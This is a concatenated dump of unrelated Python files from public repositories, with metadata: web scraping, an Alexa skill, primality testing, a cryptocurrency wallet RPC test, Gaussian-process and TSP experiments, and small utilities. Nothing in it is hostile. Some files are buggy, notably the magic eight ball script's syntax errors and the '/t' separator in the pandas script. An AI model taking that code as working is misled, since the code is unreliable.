e94ec18c3712ed0a5a1d25c2bbba7c5428ea78be | d13f01014dd956714422beb84234ceea4933aeec | /download_html_with_selenium_chromedriver.py | b7934e9343a6d0f7c8cab52c6b11577630e4141a | [] | no_license | rishabh-malik/Web-Scraping-Python | 1c1e5e765c534dd77dea9709b6977b6265396b0a | bf4bcb0931488a6b56e88e9abebc7a07a73afe70 | refs/heads/master | 2021-08-31T23:41:47.913273 | 2017-12-23T14:52:46 | 2017-12-23T14:52:46 | 115,188,990 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 245 | py | from selenium import webdriver
driver=webdriver.Chrome(executable_path=r'C:\Users\Rishabh Malik\Downloads\chromedriver_win32.zip')
driver.get('http://python.org')
#this will contain the page source
html_doc=driver.page_source
print(html_doc) | [
"rishabhmalik249@gmail.com"
] | rishabhmalik249@gmail.com |
4b90bab90e54f9f366bf97d43b40c443b19a64a4 | 18231c95342952b9048b714dc34b6cd95a77ccd1 | /app.py | b3435cb6152000ac6ff5287343b3bf46aa0ee764 | [
"MIT"
] | permissive | pstauffer/alexa-restaurant | 9a7bb6eacac060434a0b15a25802b6ae41cbff4a | 617cafa4fd148148ce40e3a12668933e4fd0a2ab | refs/heads/master | 2020-05-27T21:10:58.297582 | 2017-03-03T07:34:06 | 2017-03-03T07:34:06 | 83,606,940 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,280 | py | from flask import Flask
from flask_ask import Ask, statement, question
import yaml
import sys
from random import randint
def yml_loader(file):
try:
with open(file, 'r') as stream:
return yaml.load(stream)
except IOError:
sys.exit(1)
template = yml_loader('template.yml')
app = Flask(__name__)
ask = Ask(app, '/')
def get_restaurant():
restaurants = template['restaurants']
rand = randint(0, len(restaurants) - 1)
return restaurants[rand]
@app.route('/')
def homepage():
homepage = template['start_msg']
return homepage
@ask.launch
def start_skill():
welcome_msg = template['welcome_msg']
return question(welcome_msg)
@ask.intent('AMAZON.YesIntent')
@ask.intent('YesIntent')
def yes_intent():
restaurant = get_restaurant()
return statement(template['answer_msg'] + ' ' + restaurant)
@ask.intent('AMAZON.NoIntent')
def no_intent():
bye_text = template['bye_msg']
return statement(bye_text)
@ask.intent('AMAZON.StopIntent')
def stop_intent():
bye_text = template['bye_msg']
return statement(bye_text)
@ask.intent('AMAZON.CancelIntent')
def cancel_intent():
bye_text = template['bye_msg']
return statement(bye_text)
if __name__ == '__main__':
app.run(debug=True)
| [
"pstauffer@confirm.ch"
] | pstauffer@confirm.ch |
73f614c22372e2a731f449d54e5fd3669425ec1e | 7440a984737e882865c4398adcba8e9f115d162e | /rabin-miller.py | 28558d8dae8048f595daab9ad9405214333cce93 | [] | no_license | sudoheader/100daysOfAlgorithms | da256022c710027cd615ff39b6f72e179ba76c65 | dde39cfcce1077a170c66d4d75bfb23b4931865f | refs/heads/master | 2021-09-04T03:10:30.913420 | 2018-01-15T04:01:03 | 2018-01-15T04:01:03 | 106,236,590 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 944 | py | from random import randrange
# algorithm
def rabin_miller(prime, tests):
if prime < 5:
return prime in [2, 3]
# set: prime = q * 2**r + 1
q, r = prime - 1, 0
while not q & 1:
q >>= 1
r += 1
# test repeatedly
for _ in range(tests):
a = randrange(2, prime - 1)
# pass if: a**q == 1
x = pow(a, q, prime)
if x in [1, prime - 1]:
continue
# pass if: a**(q * 2**s) == -1, s < r
for _ in range(r - 1):
x = pow(x, 2, prime)
if x == prime - 1:
break
else:
return False
return True
def prime(bits, tests):
while True:
# random number in [2**bits .. 2**(bits+1)-1]
prime = (1 << bits) | randrange(1 << bits) | 1
# primality test
if rabin_miller(prime, tests):
return prime
# primes
prime(8, 32)
prime(256, 32)
prime(1024, 32)
| [
"rayn2427@gmail.com"
] | rayn2427@gmail.com |
64bb9f225783b606da3d8267a0ac7d33b510a04b | 2430b2a50efec6eebf27c0162b11d10d88f62729 | /pyprob/__init__.py | 57d07c2a883967767c0ab26beb5ea4593b133414 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | permissive | feynmanliang/pyprob | 60d27e67c02e96f7a8116d9f1c5bdf1c374d908a | 16e345fde1d4305138bc909b087c81ad0f668cc5 | refs/heads/master | 2022-11-28T16:28:19.921825 | 2020-05-25T22:28:45 | 2020-05-25T22:28:45 | 268,595,724 | 0 | 0 | null | 2020-06-01T18:05:21 | 2020-06-01T18:05:21 | null | UTF-8 | Python | false | false | 336 | py | __version__ = '1.1.3'
from .util import TraceMode, PriorInflation, InferenceEngine, InferenceNetwork, ImportanceWeighting, Optimizer, LearningRateScheduler, ObserveEmbedding, set_verbosity, set_device, seed
from .state import sample, observe, tag
from .address_dictionary import AddressDictionary
from .model import Model, RemoteModel
| [
"atilimgunes.baydin@gmail.com"
] | atilimgunes.baydin@gmail.com |
2e200afda40db1b2ba2f8c1c790253b73ea4cd1a | abca9e32e4fb97c9433ce50720049e0a8f18d9d4 | /qa/rpc-tests/listtransactions.py | fb874b52374b8e66ba30e39072a18d3dd624ae15 | [
"MIT"
] | permissive | nikolake/minerium | b0829475f24033b81b184781308dbaef1db182d1 | aa014119a70ba4997df1ab4ab05570a0b01f1590 | refs/heads/master | 2022-07-18T13:33:04.536700 | 2020-05-17T19:03:20 | 2020-05-17T19:03:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,190 | py | #!/usr/bin/env python2
# Copyright (c) 2014-2020 The Bitcoin Core developers
# Copyright (c) 2014-2020 The Minerium Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
# Exercise the listtransactions API
from test_framework.test_framework import MineriumTestFramework
from test_framework.util import *
from test_framework.mininode import CTransaction, COIN
from io import BytesIO
def txFromHex(hexstring):
tx = CTransaction()
f = BytesIO(hex_str_to_bytes(hexstring))
tx.deserialize(f)
return tx
class ListTransactionsTest(MineriumTestFramework):
def setup_nodes(self):
#This test requires mocktime
enable_mocktime()
return start_nodes(4, self.options.tmpdir)
def run_test(self):
# Simple send, 0 to 1:
txid = self.nodes[0].sendtoaddress(self.nodes[1].getnewaddress(), 0.1)
self.sync_all()
assert_array_result(self.nodes[0].listtransactions(),
{"txid":txid},
{"category":"send","account":"","amount":Decimal("-0.1"),"confirmations":0})
assert_array_result(self.nodes[1].listtransactions(),
{"txid":txid},
{"category":"receive","account":"","amount":Decimal("0.1"),"confirmations":0})
# mine a block, confirmations should change:
self.nodes[0].generate(1)
self.sync_all()
assert_array_result(self.nodes[0].listtransactions(),
{"txid":txid},
{"category":"send","account":"","amount":Decimal("-0.1"),"confirmations":1})
assert_array_result(self.nodes[1].listtransactions(),
{"txid":txid},
{"category":"receive","account":"","amount":Decimal("0.1"),"confirmations":1})
# send-to-self:
txid = self.nodes[0].sendtoaddress(self.nodes[0].getnewaddress(), 0.2)
assert_array_result(self.nodes[0].listtransactions(),
{"txid":txid, "category":"send"},
{"amount":Decimal("-0.2")})
assert_array_result(self.nodes[0].listtransactions(),
{"txid":txid, "category":"receive"},
{"amount":Decimal("0.2")})
# sendmany from node1: twice to self, twice to node2:
send_to = { self.nodes[0].getnewaddress() : 0.11,
self.nodes[1].getnewaddress() : 0.22,
self.nodes[0].getaccountaddress("from1") : 0.33,
self.nodes[1].getaccountaddress("toself") : 0.44 }
txid = self.nodes[1].sendmany("", send_to)
self.sync_all()
assert_array_result(self.nodes[1].listtransactions(),
{"category":"send","amount":Decimal("-0.11")},
{"txid":txid} )
assert_array_result(self.nodes[0].listtransactions(),
{"category":"receive","amount":Decimal("0.11")},
{"txid":txid} )
assert_array_result(self.nodes[1].listtransactions(),
{"category":"send","amount":Decimal("-0.22")},
{"txid":txid} )
assert_array_result(self.nodes[1].listtransactions(),
{"category":"receive","amount":Decimal("0.22")},
{"txid":txid} )
assert_array_result(self.nodes[1].listtransactions(),
{"category":"send","amount":Decimal("-0.33")},
{"txid":txid} )
assert_array_result(self.nodes[0].listtransactions(),
{"category":"receive","amount":Decimal("0.33")},
{"txid":txid, "account" : "from1"} )
assert_array_result(self.nodes[1].listtransactions(),
{"category":"send","amount":Decimal("-0.44")},
{"txid":txid, "account" : ""} )
assert_array_result(self.nodes[1].listtransactions(),
{"category":"receive","amount":Decimal("0.44")},
{"txid":txid, "account" : "toself"} )
multisig = self.nodes[1].createmultisig(1, [self.nodes[1].getnewaddress()])
self.nodes[0].importaddress(multisig["redeemScript"], "watchonly", False, True)
txid = self.nodes[1].sendtoaddress(multisig["address"], 0.1)
self.nodes[1].generate(1)
self.sync_all()
assert(len(self.nodes[0].listtransactions("watchonly", 100, 0, False)) == 0)
assert_array_result(self.nodes[0].listtransactions("watchonly", 100, 0, True),
{"category":"receive","amount":Decimal("0.1")},
{"txid":txid, "account" : "watchonly"} )
# rbf is disabled in Minerium Core
# self.run_rbf_opt_in_test()
# Check that the opt-in-rbf flag works properly, for sent and received
# transactions.
def run_rbf_opt_in_test(self):
# Check whether a transaction signals opt-in RBF itself
def is_opt_in(node, txid):
rawtx = node.getrawtransaction(txid, 1)
for x in rawtx["vin"]:
if x["sequence"] < 0xfffffffe:
return True
return False
# Find an unconfirmed output matching a certain txid
def get_unconfirmed_utxo_entry(node, txid_to_match):
utxo = node.listunspent(0, 0)
for i in utxo:
if i["txid"] == txid_to_match:
return i
return None
# 1. Chain a few transactions that don't opt-in.
txid_1 = self.nodes[0].sendtoaddress(self.nodes[1].getnewaddress(), 1)
assert(not is_opt_in(self.nodes[0], txid_1))
assert_array_result(self.nodes[0].listtransactions(), {"txid": txid_1}, {"bip125-replaceable":"no"})
sync_mempools(self.nodes)
assert_array_result(self.nodes[1].listtransactions(), {"txid": txid_1}, {"bip125-replaceable":"no"})
# Tx2 will build off txid_1, still not opting in to RBF.
utxo_to_use = get_unconfirmed_utxo_entry(self.nodes[1], txid_1)
# Create tx2 using createrawtransaction
inputs = [{"txid":utxo_to_use["txid"], "vout":utxo_to_use["vout"]}]
outputs = {self.nodes[0].getnewaddress(): 0.999}
tx2 = self.nodes[1].createrawtransaction(inputs, outputs)
tx2_signed = self.nodes[1].signrawtransaction(tx2)["hex"]
txid_2 = self.nodes[1].sendrawtransaction(tx2_signed)
# ...and check the result
assert(not is_opt_in(self.nodes[1], txid_2))
assert_array_result(self.nodes[1].listtransactions(), {"txid": txid_2}, {"bip125-replaceable":"no"})
sync_mempools(self.nodes)
assert_array_result(self.nodes[0].listtransactions(), {"txid": txid_2}, {"bip125-replaceable":"no"})
# Tx3 will opt-in to RBF
utxo_to_use = get_unconfirmed_utxo_entry(self.nodes[0], txid_2)
inputs = [{"txid": txid_2, "vout":utxo_to_use["vout"]}]
outputs = {self.nodes[1].getnewaddress(): 0.998}
tx3 = self.nodes[0].createrawtransaction(inputs, outputs)
tx3_modified = txFromHex(tx3)
tx3_modified.vin[0].nSequence = 0
tx3 = bytes_to_hex_str(tx3_modified.serialize())
tx3_signed = self.nodes[0].signrawtransaction(tx3)['hex']
txid_3 = self.nodes[0].sendrawtransaction(tx3_signed)
assert(is_opt_in(self.nodes[0], txid_3))
assert_array_result(self.nodes[0].listtransactions(), {"txid": txid_3}, {"bip125-replaceable":"yes"})
sync_mempools(self.nodes)
assert_array_result(self.nodes[1].listtransactions(), {"txid": txid_3}, {"bip125-replaceable":"yes"})
# Tx4 will chain off tx3. Doesn't signal itself, but depends on one
# that does.
utxo_to_use = get_unconfirmed_utxo_entry(self.nodes[1], txid_3)
inputs = [{"txid": txid_3, "vout":utxo_to_use["vout"]}]
outputs = {self.nodes[0].getnewaddress(): 0.997}
tx4 = self.nodes[1].createrawtransaction(inputs, outputs)
tx4_signed = self.nodes[1].signrawtransaction(tx4)["hex"]
txid_4 = self.nodes[1].sendrawtransaction(tx4_signed)
assert(not is_opt_in(self.nodes[1], txid_4))
assert_array_result(self.nodes[1].listtransactions(), {"txid": txid_4}, {"bip125-replaceable":"yes"})
sync_mempools(self.nodes)
assert_array_result(self.nodes[0].listtransactions(), {"txid": txid_4}, {"bip125-replaceable":"yes"})
# Replace tx3, and check that tx4 becomes unknown
tx3_b = tx3_modified
tx3_b.vout[0].nValue -= int(Decimal("0.004") * COIN) # bump the fee
tx3_b = bytes_to_hex_str(tx3_b.serialize())
tx3_b_signed = self.nodes[0].signrawtransaction(tx3_b)['hex']
txid_3b = self.nodes[0].sendrawtransaction(tx3_b_signed, True)
assert(is_opt_in(self.nodes[0], txid_3b))
assert_array_result(self.nodes[0].listtransactions(), {"txid": txid_4}, {"bip125-replaceable":"unknown"})
sync_mempools(self.nodes)
assert_array_result(self.nodes[1].listtransactions(), {"txid": txid_4}, {"bip125-replaceable":"unknown"})
# Check gettransaction as well:
for n in self.nodes[0:2]:
assert_equal(n.gettransaction(txid_1)["bip125-replaceable"], "no")
assert_equal(n.gettransaction(txid_2)["bip125-replaceable"], "no")
assert_equal(n.gettransaction(txid_3)["bip125-replaceable"], "yes")
assert_equal(n.gettransaction(txid_3b)["bip125-replaceable"], "yes")
assert_equal(n.gettransaction(txid_4)["bip125-replaceable"], "unknown")
# After mining a transaction, it's no longer BIP125-replaceable
self.nodes[0].generate(1)
assert(txid_3b not in self.nodes[0].getrawmempool())
assert_equal(self.nodes[0].gettransaction(txid_3b)["bip125-replaceable"], "no")
assert_equal(self.nodes[0].gettransaction(txid_4)["bip125-replaceable"], "unknown")
if __name__ == '__main__':
ListTransactionsTest().main()
| [
"46746362+bunbunbunbunbunny@users.noreply.github.com"
] | 46746362+bunbunbunbunbunny@users.noreply.github.com |
cb0026bf57ccc9abc71541d4c3d1f690f344d7ae | 47aaa3f1fa5764779e5246fa3b765adaaac15bd1 | /distributed_jobman/parsers/config.py | f18760451974217f79da36fcfa3e1de8d8f31456 | [] | no_license | bouthilx/distributed-jobman | a3ec4958001b052a8327416b4be268f55dea2bf7 | d20aeda23bb9137445f754c8542d2f7e328a7fae | refs/heads/master | 2021-01-24T21:12:47.077725 | 2016-02-18T16:02:32 | 2016-02-18T16:05:16 | 49,673,710 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 883 | py | from ConfigParser import ConfigParser, Error
import os
p2_config = ConfigParser()
p2_config.read(os.path.join(os.environ["HOME"], ".distributed_jobman.rc"))
default_values = dict(cache_timeout=str(60 * 5))
keys = ["username", "password", "address", "name", "cache_timeout"]
database = dict()
for key in keys:
value = p2_config.get("database", key, vars=default_values)
if value is None:
raise ValueError("Option %s must be set in configuration file "
"~/.distributed_jobman.rc")
database[key] = value
database["cache_timeout"] = float(database["cache_timeout"])
scheduler_types = ["multi-gpu", "cluster"]
scheduler = dict(type=p2_config.get("scheduler", "type"))
if scheduler["type"] not in scheduler_types:
raise Error("Invalid scheduler type: %s" % scheduler["type"])
config = dict(database=database, scheduler=scheduler)
| [
"xavier.bouthillier@umontreal.ca"
] | xavier.bouthillier@umontreal.ca |
50fa309b350fdae74d5cfe5ff924bf0905df3612 | be3966084e5139f9615892fc6655ee50ea977b61 | /Sprint-1-Python_and_Descriptive_Statistics/Examples/magic_eight_ball.py | 4d5ec211975379e4fc7678da3f0ff655dd0b1e1c | [] | no_license | dansmyers/Simulation | 985acf6484b367ec42585ce1f98431416c3ebbbf | bebc5615e37a96ec4bc4503ff032f4c3aeb0d35d | refs/heads/master | 2023-05-11T08:17:59.592464 | 2023-04-29T23:00:11 | 2023-04-29T23:00:11 | 146,478,233 | 5 | 2 | null | null | null | null | UTF-8 | Python | false | false | 885 | py | """
Magic Eight Ball: a fortune telling program
Demonstrates conditionals, random choices, and import statements
"""
# The import statement is the same as in Java: load an external module
#
# You can also use the from...import... form if you want to load only
# one function from a module
from random import random
# Read a question from the user
# This is just for flavor: it has no effect on the output
print('I AM THE MAGIC EIGHT BALL!")
question = input('Tell me your question: ')
# Generate a random number in [0, 1)
r = random()
# Use the value of r to select an output message
#
# Note: Python allows chained conditionals of the form a < b < c, but many other languages don't
if r <= .25:
print('My sources say no.')
elif .25 < r <= .50
print('It is decidedly so.')
elif .50 < r <= .75
print('Concentrate and ask again.')
else:
print('Signs point to yes.')
| [
"noreply@github.com"
] | noreply@github.com |
52333cc2e65db038cbb4d42924cde56aee596bdb | a290925e8c3103bb84327f6f38f0b4ffd7945c1d | /dataugmentation/reverse_para_order.py | 46b542bb4e9b7a02170208992335f7e00154d9dd | [] | no_license | enterpriseih/lightningHotpotQA | 6db502747b2b7a876e7f32743b839c65f851ee49 | b3a992f27a1c2b7881e6ab0c16132c20fb880f8d | refs/heads/master | 2023-08-24T05:38:32.419496 | 2021-05-27T01:09:29 | 2021-05-27T01:09:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,252 | py | import json
import sys
from tqdm import tqdm
assert len(sys.argv) == 4
raw_data = json.load(open(sys.argv[1], 'r'))
para_file = sys.argv[2]
with open(para_file, 'r', encoding='utf-8') as reader:
para_data = json.load(reader)
#################################
reverse_output_file = sys.argv[3]
################################
selected_para_dict_reverse = {}
################################
for case in tqdm(raw_data):
guid = case['_id']
##############################################
ir_selected_paras = para_data[guid]
selected_para_dict_reverse[guid] = []
assert len(ir_selected_paras) == 3
if len(ir_selected_paras[0]) == 2:
reverse_ir_paras_1st = [ir_selected_paras[0][1], ir_selected_paras[0][0]]
else:
reverse_ir_paras_1st = ir_selected_paras[0]
selected_para_dict_reverse[guid].append(reverse_ir_paras_1st)
selected_para_dict_reverse[guid].append(ir_selected_paras[1])
if len(ir_selected_paras[2]) == 2:
reverse_ir_paras_3rd = [ir_selected_paras[2][1], ir_selected_paras[2][0]]
else:
reverse_ir_paras_3rd = ir_selected_paras[2]
selected_para_dict_reverse[guid].append(reverse_ir_paras_3rd)
json.dump(selected_para_dict_reverse, open(reverse_output_file, 'w')) | [
"guangtao.wang@jd.com"
] | guangtao.wang@jd.com |
aff08cba5f2fe4041f38cf71095acfa7fcedf07e | 8f3c2db104b4eb23d3e238b3b64a971ae2c0f487 | /demo_GP/demo_func/demo_4D_case-3.py | 57e1c307e2b1b02718e5e6133423fcd2fcec295f | [] | no_license | LinfuYang/A_GPR_M | e07567e9edb4b84b480dba6e77868aaaa0ca911e | a0ff43a9099310e8acb4502dba897e296bd4dac7 | refs/heads/master | 2020-04-29T14:33:12.559035 | 2019-03-13T01:40:40 | 2019-03-13T01:40:40 | 176,199,831 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,909 | py | import numpy as np
from demo_GP.AGPR import A_GPR
from demo_GP.func_ND import func_4D
from sklearn.metrics import mean_squared_error
import matplotlib.pyplot as plt
import warnings
warnings.filterwarnings('ignore')
list_mse_gp_con = []
plt.figure(figsize=(10, 5))
for it in np.array(range(100, 520, 20)):
mean_mse_gp_con = []
print('采样点个数为:%s' % str(it))
for i in range(10):
A_gpr = A_GPR(f_kernel=None)
func_4d = func_4D(round_4d=None)
round_xy = func_4d.round_x
# 测试数据
test_point_mun = 500
x_test = A_gpr.sample_point(func_4d.round_x, iter=test_point_mun)
y_test = [func_4d.f_obj(x_test[i, 0], x_test[i, 1], x_test[i, 2], x_test[i, 3]) for i in range(x_test.shape[0])]
# 预测模型进行预测
# y_pre_list = [A_gpr.predict_mu_var(np.array(x_test[r]).reshape(1, -1), hf_gp, re_var=False) for r in range(test_point_mun)]
# 对比试验
x_sample_point = A_gpr.sample_point(func_4d.round_x, iter=it)
y_sample_point = np.array([func_4d.f_obj(x_sample_point[i, 0], x_sample_point[i, 1], x_sample_point[i, 2], x_sample_point[i, 3]) for i in range(x_sample_point.shape[0])]).reshape(-1, 1)
gp_con = A_gpr.creat_gpr_model(x_sample_point, y_sample_point)
y_con_list = [A_gpr.predict_mu_var(np.array(x_test[r]).reshape(1, -1), gp_con, re_var=False) for r in range(test_point_mun)]
# mean_mse_gp_pre.append(mean_squared_error(y_test, y_pre_list))
mean_mse_gp_con.append(mean_squared_error(y_test, y_con_list))
list_mse_gp_con.append(np.mean(mean_mse_gp_con))
plt.plot(list(range(100, 520, 20)), list_mse_gp_con, lw=1.5, label='go_con')
plt.axis('tight')
plt.legend(loc=0) #图例位置自动
plt.ylabel('MSE')
plt.xlabel('iter')
plt.title('4D_case3')
# print('pore_model', list_mse_gp_pre)
print('sample_model', list_mse_gp_con)
plt.show() | [
"myEmail@example.co945511761@qq.com"
] | myEmail@example.co945511761@qq.com |
4b316f37ed5143b7f8cbd0ec9cc890ae593b4628 | 71f94b8f776c09575bea5ca5892b2c9edda528f1 | /onehalfopt.py | 67744718e8b7b71a478b90e1cab8680a18347fe1 | [] | no_license | shonali-ks/comparing-algo-to-solve-tsp | 0f65a5be85594f0f75cb9d80569a46c5e03136de | 2acdefc8f1c316318580be15714a43bc90822bf4 | refs/heads/master | 2022-11-10T16:32:40.396854 | 2020-06-21T18:42:47 | 2020-06-21T18:42:47 | 273,932,983 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,698 | py | import time
def distance(x1, y1, x2, y2):
return ((x1 - x2) ** 2 + (y1 - y2) ** 2) ** (1.0 / 2.0)
def build_graph(points):
graph = {}
for u in range(len(points)):
for v in range(len(points)):
if u != v:
if u not in graph:
graph[u] = {}
graph[u][v] = distance(points[u][0], points[u][1], points[v][0],
points[v][1])
return graph
class Disjointsets:
def __init__(self):
self.cost = {}
self.parents = {}
def __getitem__(self, object):
if object not in self.parents:
self.parents[object] = object
self.cost[object] = 1
return object
# find root
path = [object]
root = self.parents[object]
while root != path[-1]:
path.append(root)
root = self.parents[root]
# path compression
for ancestor in path:
self.parents[ancestor] = root
return root
def __iter__(self):
return iter(self.parents)
#union of set
def union(self, *objects):
roots = [self[x] for x in objects]
maxcost = max([(self.cost[r], r) for r in roots])[1]
for r in roots:
if r != maxcost:
self.cost[maxcost] += self.cost[r]
self.parents[r] = maxcost
def mst(G):
tree = []
subtrees = Disjointsets()
for W, u, v in sorted((G[u][v], u, v) for u in G for v in G[u]):
if subtrees[u] != subtrees[v]:
tree.append((u, v, W))
subtrees.union(u, v)
return tree
def odd_degree(MST):
temp = {}
vertexes = []
for edge in MST:
if edge[0] not in temp:
temp[edge[0]] = 0
if edge[1] not in temp:
temp[edge[1]] = 0
temp[edge[0]] += 1
temp[edge[1]] += 1
for vertex in temp:
if temp[vertex] % 2 == 1:
vertexes.append(vertex)
return vertexes
def minimum_weight_matching(MST, G, odd_vert):
import random
random.shuffle(odd_vert)
while odd_vert:
v = odd_vert.pop()
length = float("inf")
u = 1
closest = 0
for u in odd_vert:
if v != u and G[v][u] < length:
length = G[v][u]
closest = u
MST.append((v, closest, length))
odd_vert.remove(closest)
def eulerian_tour(MatchedMSTree, G):
next_vertex = {}
for edge in MatchedMSTree:
if edge[0] not in next_vertex:
next_vertex[edge[0]] = []
if edge[1] not in next_vertex:
next_vertex[edge[1]] = []
next_vertex[edge[0]].append(edge[1])
next_vertex[edge[1]].append(edge[0])
# finds the hamiltonian circuit
start_vertex = MatchedMSTree[0][0]
tour_path = [next_vertex[start_vertex][0]]
while len(MatchedMSTree) > 0:
for i, v in enumerate(tour_path):
if len(next_vertex[v]) > 0:
break
while len(next_vertex[v]) > 0:
w = next_vertex[v][0]
hamiltonian(MatchedMSTree, v, w)
del next_vertex[v][(next_vertex[v].index(w))]
del next_vertex[w][(next_vertex[w].index(v))]
i += 1
tour_path.insert(i, w)
v = w
return tour_path
def hamiltonian(MatchedMST, v1, v2):
for i, item in enumerate(MatchedMST):
if (item[0] == v2 and item[1] == v1) or (item[0] == v1 and item[1] == v2):
del MatchedMST[i]
return MatchedMST
def onehalf(data):
# build a graph
G = build_graph(data)
# print("Graph: ", G)
# build a minimum spanning tree
MSTree = mst(G)
# print("MST: ", MSTree)
# find odd degree
odd = odd_degree(MSTree)
#print("Vertices having odd degree ", odd)
# add minimum weight matching edges to MST
minimum_weight_matching(MSTree, G, odd)
#print("Minimum weight matching: ", MSTree)
# find an eulerian tour
tour = eulerian_tour(MSTree, G)
#print("Eulerian tour: ", tour)
current = tour[0]
path = [current]
visited = [False] * len(tour)
visited[0] = True
length = 0
for v in tour[1:]:
if not visited[v]:
path.append(v)
visited[v] = True
length += G[current][v]
current = v
path.append(path[0])
print("Result path: ", path)
print("Result cost of the path: ", length)
return length, path
# start = time.clock()
#check if this satifies triangular propertly later and verify it with yashs code
# def one_and_half_algo():
# onehalf([[1380, 939], [2848, 96], [3510, 1671], [457, 334], [3888, 666], [984, 965], [2721, 1482], [1286, 525],
# [2716, 1432], [738, 1325], [1251, 1832], [2728, 1698], [3815, 169], [3683, 1533], [1247, 1945], [123, 862],
# [1234, 1946], [252, 1240], [611, 673], [2576, 1676], [928, 1700], [53, 857], [1807, 1711], [274, 1420],
# [2574, 946], [178, 24], [2678, 1825], [1795, 962], [3384, 1498], [3520, 1079], [1256, 61], [1424, 1728],
# [3913, 192], [3085, 1528], [2573, 1969], [463, 1670], [3875, 598], [298, 1513], [3479, 821], [2542, 236],
# [3955, 1743], [1323, 280], [3447, 1830], [2936, 337], [1621, 1830], [3373, 1646], [1393, 1368],
# [3874, 1318], [938, 955], [3022, 474], [2482, 1183], [3854, 923], [376, 825], [2519, 135], [2945, 1622],
# [953, 268], [2628, 1479], [2097, 981], [890, 1846], [2139, 1806], [2421, 1007], [2290, 1810], [1115, 1052],
# [2588, 302], [327, 265], [241, 341], [1917, 687], [2991, 792], [2573, 599], [19, 674], [3911, 1673],
# [872, 1559], [2863, 558], [929, 1766], [839, 620], [3893, 102], [2178, 1619], [3822, 899], [378, 1048],
# [1178, 100], [2599, 901], [3416, 143], [2961, 1605], [611, 1384], [3113, 885], [2597, 1830], [2586, 1286],
# [161, 906], [1429, 134], [742, 1025], [1625, 1651], [1187, 706], [1787, 1009], [22, 987], [3640, 43],
# [3756, 882], [776, 392], [1724, 1642], [198, 1810], [3950, 1558]])
# end = time.clock()
# print("time taken: ",end - start)
# def one_and_half_algo():
# onehalf([[1, 1], [2, 5], [8, 0]])
def one_and_half_algo():
onehalf([[0, 0],[3, 0],[6, 0],[0, 3],[3, 3],[6, 3],[0, 6],[3, 6],[6, 6]])
#yashs greedy data
# onehalf([[60,100],[180,200],[80,180],[140,180],[20,160],[100,160],
# [200,160],[140,140],[40,120],[100,120],[180,100],[60,80],
# [120,80],[180,60],[20,40],[100,40],[200,40],[20,20],[60,20],
# [160,20]]) | [
"kshonalis72@gmail.com"
] | kshonalis72@gmail.com |
1b37ba3f30c56922728f7e1eb4ddadc50030692d | 8b79738d497d6d6c0af7ff0adb92521c87edb4ea | /app/logic.py | 48f1b00e4f76574824f8d04aeaf5f9f11dc0b949 | [] | no_license | DamienDaco/ping_exfiltrator | a96f745a164f2e8cdd3b9aa018335875bdcfd7b1 | 7f81fd1a3b687c72c03c994b580cb6a3683c34e1 | refs/heads/master | 2021-09-01T14:23:01.390341 | 2017-12-27T12:40:04 | 2017-12-27T12:40:04 | 115,187,903 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,116 | py | from app.multithreading import *
from app.network_functions import *
class Logic:
def __init__(self, string_ip, selected_interface):
super().__init__()
print("Logic has been initialized")
self.threads = [] # List for storing multiple threads
self.identities = 0 # List of workers identities (numbers)
self.binary_ip = clean_ip(string_ip)
self.rate = 1
self.selected_interface = selected_interface
def start_thread(self):
thread = MultiThreading(self.binary_ip, self.identities, self.rate, self.selected_interface)
thread.start_thread()
self.threads.append(thread)
self.identities += 1
def stop_thread(self):
if len(self.threads) > 0: # Check if there's something in the list
for thread in self.threads: # Let's go through the list of threads
thread.stop_thread() # And send the stop signal to each thread
self.threads = [] # When done, reset list
self.identities = 0
| [
"dacodamien@gmail.com"
] | dacodamien@gmail.com |
e504ebb5f478fb423b42fd1cbe28748625513ef9 | c93a0a6dedc8ebf100dd15eefc897457410e2d06 | /opsweb/resources/migrations/0008_cmdbmodel_dev_team.py | 334ca0cdc4e2e901f6fa80d9ece75cf34c848bee | [] | no_license | sungy2014/WS-OPS | efaab4ca8d3c56352c685508fe5b273daaedc2bb | 7563e40c130d0791ccacb259f7a71a9f276ca6c6 | refs/heads/master | 2020-03-11T12:25:42.030148 | 2018-04-11T12:44:02 | 2018-04-11T12:44:02 | 129,997,121 | 1 | 0 | null | 2018-04-18T03:14:03 | 2018-04-18T03:14:03 | null | UTF-8 | Python | false | false | 564 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2018-03-22 14:40
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('auth', '0008_alter_user_username_max_length'),
('resources', '0007_cmdbmodel_ansible_playbook'),
]
operations = [
migrations.AddField(
model_name='cmdbmodel',
name='dev_team',
field=models.ManyToManyField(to='auth.Group', verbose_name='负责的开发组'),
),
]
| [
"root@172-17-134-23.(none)"
] | root@172-17-134-23.(none) |
7eba8f570b7af1fd4e912d31ca096771effd2c08 | 99e0fef58ec7d3985f7471d0ab021333f8ea8c95 | /output_head_tables.py | 7eedb6ba85940104fdb796ed0260cc5c87a52a95 | [] | no_license | deBroglieeeen/get_pair_noun_in_corpus_2 | 176d6d1ea69a0947dbf7fe991525aafaab5d1e50 | 5667598604158c18f096c731f59780c83f79f8f7 | refs/heads/main | 2023-02-24T17:05:16.111928 | 2021-01-30T07:53:51 | 2021-01-30T07:53:51 | 326,991,591 | 0 | 0 | null | 2021-01-18T02:15:26 | 2021-01-05T12:26:49 | Python | UTF-8 | Python | false | false | 229 | py | import pandas as pd
import scipy as sp
import scipy.stats
# コンマ区切りのテキストデータを読み込む
data = pd.read_csv("output/df_sample2.tsv", sep='/t')
data.head(15).to_csv('output/head_alldata_sample.csv')
| [
"u825246d@ecs.osaka-u.ac.jp"
] | u825246d@ecs.osaka-u.ac.jp |
